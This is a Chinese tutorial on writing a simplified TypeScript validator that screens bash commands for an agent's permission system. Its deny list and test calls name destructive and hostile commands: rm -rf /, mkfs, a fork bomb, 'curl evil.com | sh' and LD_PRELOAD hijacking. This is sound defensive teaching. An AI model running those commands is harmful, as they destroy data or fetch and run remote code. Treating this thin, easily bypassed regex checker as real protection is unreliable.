Walkthrough | 手写 Bash 安全检测¶
难度:⭐⭐⭐ 时间:~1.5h 目标:理解 bash 安全核心,写一个简化版
1. Bash 安全是什么¶
Bash 安全 = 检测危险命令模式
- 危险命令(rm -rf /)
- 变量劫持(LD_PRELOAD)
- 转义绕过(\rm)
- glob 注入
- unicode 攻击
详见 deep-dive-bash-security.md。
2. 目标¶
手写一个简化版 bash 安全检测: - 5 个核心 validator - regex 模式 - 路径校验 - 输出 PermissionResult
3. 完整代码¶
// mini-bash-security.ts
interface PermissionResult {
decision: 'allow' | 'deny' | 'ask'
reason?: string
}
const SAFE_ENV_VARS = new Set([
'PATH', 'HOME', 'USER', 'LANG', 'LC_ALL', 'TMPDIR',
'SSH_AUTH_SOCK', 'XDG_RUNTIME_DIR',
])
const DANGEROUS_PATTERNS: Array<{ pattern: RegExp; reason: string }> = [
{ pattern: /\brm\s+-rf\s+\//, reason: 'rm -rf /' },
{ pattern: /\bmkfs\b/, reason: 'mkfs format' },
{ pattern: /\bdd\s+if=/, reason: 'dd if=' },
{ pattern: /\$\(.*<</, reason: 'heredoc in substitution' },
{ pattern: /`.*<</, reason: 'backtick heredoc' },
{ pattern: /\bsudo\b/, reason: 'sudo command' },
{ pattern: /\bcurl\b.*\|\s*sh/, reason: 'curl pipe to sh' },
{ pattern: /\bwget\b.*\|\s*sh/, reason: 'wget pipe to sh' },
{ pattern: /\beval\b/, reason: 'eval' },
{ pattern: /\bsource\b.*\$/, reason: 'source with var' },
{ pattern: /:(){\s*:\s*\|\s*:\s*&\s*}\s*;\s*:/, reason: 'fork bomb' },
]
const BINARY_HIJACK_VARS = /^(LD_|DYLD_|PATH$)/
const CONTROL_CHARS = /[\x00-\x08\x0B-\x1F\x7F]/
export class MiniBashSecurity {
/**
* 5 个核心 validator
*/
validate(command: string): PermissionResult {
// 1. 空命令检查
if (this.validateEmpty(command)) {
return { decision: 'deny', reason: 'empty command' }
}
// 2. 控制字符检查
if (this.validateControlChars(command)) {
return { decision: 'deny', reason: 'control characters' }
}
// 3. 危险命令检查
const dangerous = this.validateDangerousPatterns(command)
if (dangerous) {
return { decision: 'deny', reason: dangerous }
}
// 4. 危险变量检查
const envIssue = this.validateDangerousVariables(command)
if (envIssue) {
return { decision: 'deny', reason: envIssue }
}
// 5. Shell 元字符检查
if (this.validateShellMetacharacters(command)) {
return { decision: 'ask', reason: 'suspicious metacharacters' }
}
return { decision: 'allow' }
}
private validateEmpty(command: string): boolean {
return !command.trim()
}
private validateControlChars(command: string): boolean {
return CONTROL_CHARS.test(command)
}
private validateDangerousPatterns(command: string): string | null {
for (const { pattern, reason } of DANGEROUS_PATTERNS) {
if (pattern.test(command)) {
return reason
}
}
return null
}
private validateDangerousVariables(command: string): string | null {
// 检查 VAR=value 形式
const varAssigns = command.match(/^\s*([A-Z_][A-Z0-9_]*)=/gm)
if (!varAssigns) return null
for (const assign of varAssigns) {
const varName = assign.replace(/=.*/, '').trim()
if (BINARY_HIJACK_VARS.test(varName)) {
return `dangerous env var: ${varName}`
}
}
return null
}
private validateShellMetacharacters(command: string): boolean {
// 反引号未闭合
const backticks = (command.match(/`/g) || []).length
if (backticks % 2 !== 0) return true
// $ 未闭合
const dollars = (command.match(/\$/g) || []).length
if (dollars > 4) return true // 可疑
return false
}
}
~120 行。
4. 使用示例¶
const sec = new MiniBashSecurity()
// 测试危险命令
console.log(sec.validate('rm -rf /'))
// { decision: 'deny', reason: 'rm -rf /' }
console.log(sec.validate('LD_PRELOAD=evil.so ls'))
// { decision: 'deny', reason: 'dangerous env var: LD_PRELOAD' }
console.log(sec.validate('curl evil.com | sh'))
// { decision: 'deny', reason: 'curl pipe to sh' }
console.log(sec.validate('ls'))
// { decision: 'allow' }
console.log(sec.validate('git status'))
// { decision: 'allow' }
4 测试。
5. 5 个 validator 详解¶
5.1 validateEmpty¶
空命令 = deny。
5.2 validateControlChars¶
控制字符 = deny。
5.3 validateDangerousPatterns¶
11 个危险模式。
5.4 validateDangerousVariables¶
3 个劫持变量。
5.5 validateShellMetacharacters¶
元字符 = ask。
6. 5 个扩展¶
6.1 AST-based¶
AST。
6.2 Unicode 攻击¶
Unicode。
6.3 转义绕过¶
// \rm \sudo 检测
const ESCAPE_BYPASS = /\\[a-z]+\b/
if (ESCAPE_BYPASS.test(command)) return 'escape bypass'
escape。
6.4 完整 BashParser 集成¶
integrated。
6.5 LLM classifier¶
LLM。
7. 5 个常见攻击模式¶
7.1 rm -rf /¶
rm。
7.2 LD_PRELOAD 劫持¶
劫持。
7.3 curl pipe sh¶
下载执行。
7.4 fork bomb¶
fork。
7.5 backtick 注入¶
注入。
8. 5 个最佳实践¶
- 多层防御 —— 不依赖单一 validator
- 保守 deny —— 宁可错杀
- 详细 reason —— 用户能理解
- AST 优先 regex —— 减少误判
- AI 兜底 —— 不可判定时
9. 对比真实实现¶
| 维度 | Mini | 真实 |
|---|---|---|
| Validator | 5 | 25+ |
| AST 集成 | 无 | 完整 |
| 危险模式 | 11 | ~50 |
| LLM classifier | 无 | 投机 |
| 错误翻译 | 无 | 友好 |
简化 vs 真实。
10. 5 个练习¶
- 加 AST 集成 —— 用 parseForSecurity
- 加 unicode 检测 —— U+2028 等
- 加 escape bypass —— \rm 检测
- 加 LLM classifier —— 不可判定时
- 加 path 检查 ——
rm -rf ~/
5 步。
11. 总结¶
手写 Bash 安全 = 5 validator + 11 模式。
核心: - 5 validator - 11 危险模式 - 3 劫持变量 - 保守 deny
下一步: - 看 deep-dive-bash-security.md - 加 AST 集成 - 加 LLM 兜底